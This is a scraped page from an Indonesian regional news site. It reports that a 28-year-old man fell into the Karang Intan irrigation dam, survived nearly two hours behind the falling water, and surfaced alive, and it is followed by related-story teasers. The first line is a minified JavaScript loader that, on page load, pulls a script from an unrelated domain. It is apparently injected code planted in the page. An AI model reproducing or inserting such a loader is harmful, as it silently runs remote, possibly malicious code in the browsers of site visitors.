(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sungguh kuasa Tuhan, hilang hampir dua jam di air deras, pria tercebur di bendungan irigasi Karang Intan, akhirnya selamat tiba-tiba muncul secara sendiri dari atas air.
Kanalkalimantan.com saat berada di lokasi kejadian melihat korban muncul tiba-tiba dengan sendirinya ke atas permukaan air.
Saat muncul ke permukaan kondisi Matnoor (28) bertelanjang dada tanpa baju menggenakan celana pendek warna hitam.
Korban selamat bernama Matnoor ini berasal dari Desa Abirau, RT 02, Kecamatan Karang Intan, Kabupaten Banjar.
Warga sekitar dan keluarga yang ada di lokasi langsung heboh begitu korban muncul di atas permukaan air dengan selamat.
Nampak terlihat dari wajah korban yang begitu tegang, serta matanya merah. Begitu pula orangtua korban, kakak kandung korban, istri korban, langsung menangis terisak-isak begitu melihat korban kemunculan. Matnoor di atas permukaan air dengan kondisi masih hidup.
Matnoor langsung dilarikan warga ke Puskesmas Sungaialang menggunakan ambulans, untuk diperiksa kondisinya.
Kepada Kanalkalimantan.com, M Naufal, seorang relawan Emergency yang sempat mendengar pembicaraan keluarga korban dengan orang banyak, korban menceritakan, ketika saat korban tersebut jatuh ke air berarus deras yang bergulung-gulung itu, Matnoor berusaha tenang dan tidak panik.
“Korban katanya langsung melepas seluruh pakaian yang ada di badannya, hanya tinggal celana pendek saja,” beber M Naufal.
Masih keterangan pihak keluarga korban, setelah itu Matnoor langsung survival alias bertahan dari bawah tangga tempat turunnya air terjun dengan posisi dirinya di balik air.
Di balik air terjun bendungan itulah, Matnoor bertahan selama hampir dua jam, sambil menunggu momen keluar.
“Dari situ korban mencoba tenang, tidak panik, sambil mengatur nafas, menunggu waktu yang tepat untuk keluar dari balik tempat itu,” kata M Naufal berdasarkan keterangan keluarga korban dari cerita Matnoor. Sementara itu, masih menurut keluarga korban, Matnoor masih syok belum bisa bayak diajak bicara.
Upaya pencarian sempat dilakukan warga, namun karena air sangat deras di bendungan Karang Intan itu, tidak banyak yang bisa dilakukan warga sekitar. Hanya terlihat menunggu, beberapa saat tim penyelamat dari BPBD Banjar tiba di lokasi kejadian, Matnoor malah muncul ke permukaan dengan masih kondisi bernafas, meski terlihat syok berat. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.